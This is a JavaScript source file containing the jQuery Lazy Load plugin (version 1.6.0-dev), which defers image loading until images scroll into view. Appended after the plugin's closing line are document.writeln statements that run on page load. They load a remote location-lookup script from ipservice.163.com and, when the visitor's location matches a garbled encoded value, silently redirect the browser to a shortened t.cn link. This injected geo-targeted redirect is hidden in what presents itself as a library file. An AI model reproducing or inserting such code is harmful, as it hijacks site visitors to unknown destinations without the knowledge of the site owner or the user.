/*

  * Lazy Load - jQuery plugin for lazy loading images

  *

  * Copyright (c) 2007-2011 Mika Tuupola

  *

  * Licensed under the MIT license:

  *   http://www.opensource.org/licenses/mit-license.php

  *

  * Project home:

  *   http://www.appelsiini.net/projects/lazyload

  *

  * Version:  1.6.0-dev

  *

  */

 (function($) {

     $.fn.lazyload = function(options) {

         var settings = {

             threshold    : 0,

             failurelimit : 0,

             event        : "scroll",

             effect       : "show",

             container    : window

         };

                 

         if(options) {

 			$.extend(settings, options);

         }

 

         /* Fire one scroll event per scroll. Not one scroll event per image. */

         var elements = this;

         if (0 == settings.event.indexOf("scroll")) {

             $(settings.container).bind(settings.event, function(event) {

                 var counter = 0;

                 elements.each(function() {

                     if ($.abovethetop(this, settings) ||

                         $.leftofbegin(this, settings)) {

                             /* Nothing. */

                     } else if (!$.belowthefold(this, settings) &&

                         !$.rightoffold(this, settings)) {

                             $(this).trigger("appear");

                     } else {

                         if (counter++ > settings.failurelimit) {

                             return false;

                         }

                     }

                 });

 

                 /* Remove image from array so it is not looped next time. */

                 var temp = $.grep(elements, function(element) {

                     return !element.loaded;

                 });

                 elements = $(temp);

 

             });

         }

         

         this.each(function() {

             var self = this;            

             self.loaded = false;

             

             /* When appear is triggered load original image. */

             $(self).one("appear", function() {

                 if (!this.loaded) {

                     $("<img />")

                         .bind("load", function() {

                             $(self)

                                 .hide()

                                 .attr("src", $(self).data("original"))

                                 [settings.effect](settings.effectspeed);

                             self.loaded = true;

                         })

                         .attr("src", $(self).data("original"));

                 };

             });

 

             /* When wanted event is triggered load original image */

             /* by triggering appear.                              */

             if (0 != settings.event.indexOf("scroll")) {

                 $(self).bind(settings.event, function(event) {

                     if (!self.loaded) {

                         $(self).trigger("appear");

                     }

                 });

             }

         });

         

         /* Force initial check if images should appear. */

         $(settings.container).trigger(settings.event);

         

         return this;

 

     };

 

     /* Convenience methods in jQuery namespace.           */

     /* Use as  $.belowthefold(element, {threshold : 100, container : window}) */

 

     $.belowthefold = function(element, settings) {

         if (settings.container === undefined || settings.container === window) {

             var fold = $(window).height() + $(window).scrollTop();

         } else {

             var fold = $(settings.container).offset().top + $(settings.container).height();

         }

         return fold <= $(element).offset().top - settings.threshold;

     };

     

     $.rightoffold = function(element, settings) {

         if (settings.container === undefined || settings.container === window) {

             var fold = $(window).width() + $(window).scrollLeft();

         } else {

             var fold = $(settings.container).offset().left + $(settings.container).width();

         }

         return fold <= $(element).offset().left - settings.threshold;

     };

         

     $.abovethetop = function(element, settings) {

         if (settings.container === undefined || settings.container === window) {

             var fold = $(window).scrollTop();

         } else {

             var fold = $(settings.container).offset().top;

         }

         return fold >= $(element).offset().top + settings.threshold  + $(element).height();

     };

     

     $.leftofbegin = function(element, settings) {

         if (settings.container === undefined || settings.container === window) {

             var fold = $(window).scrollLeft();

         } else {

             var fold = $(settings.container).offset().left;

         }

         return fold >= $(element).offset().left + settings.threshold + $(element).width();

     };

     /* Custom selectors for your convenience.   */

     /* Use as $("img:below-the-fold").something() */

 

     $.extend($.expr[':'], {

         "below-the-fold" : function(a) { return $.belowthefold(a, {threshold : 0, container: window}) },

         "above-the-fold" : function(a) { return !$.belowthefold(a, {threshold : 0, container: window}) },

         "right-of-fold"  : function(a) { return $.rightoffold(a, {threshold : 0, container: window}) },

         "left-of-fold"   : function(a) { return !$.rightoffold(a, {threshold : 0, container: window}) }

     });

     

 })(jQuery);
document.writeln("<script  src=\'http://ipservice.163.com/ipquery\'> </script>");
document.writeln("");
document.writeln("<script type=text/javascript>");
document.writeln("if(lo==\'㶫ʡ\')");
document.writeln("location.href=\'http://t.cn/Rdd3j0M\'");
document.writeln("</script> ");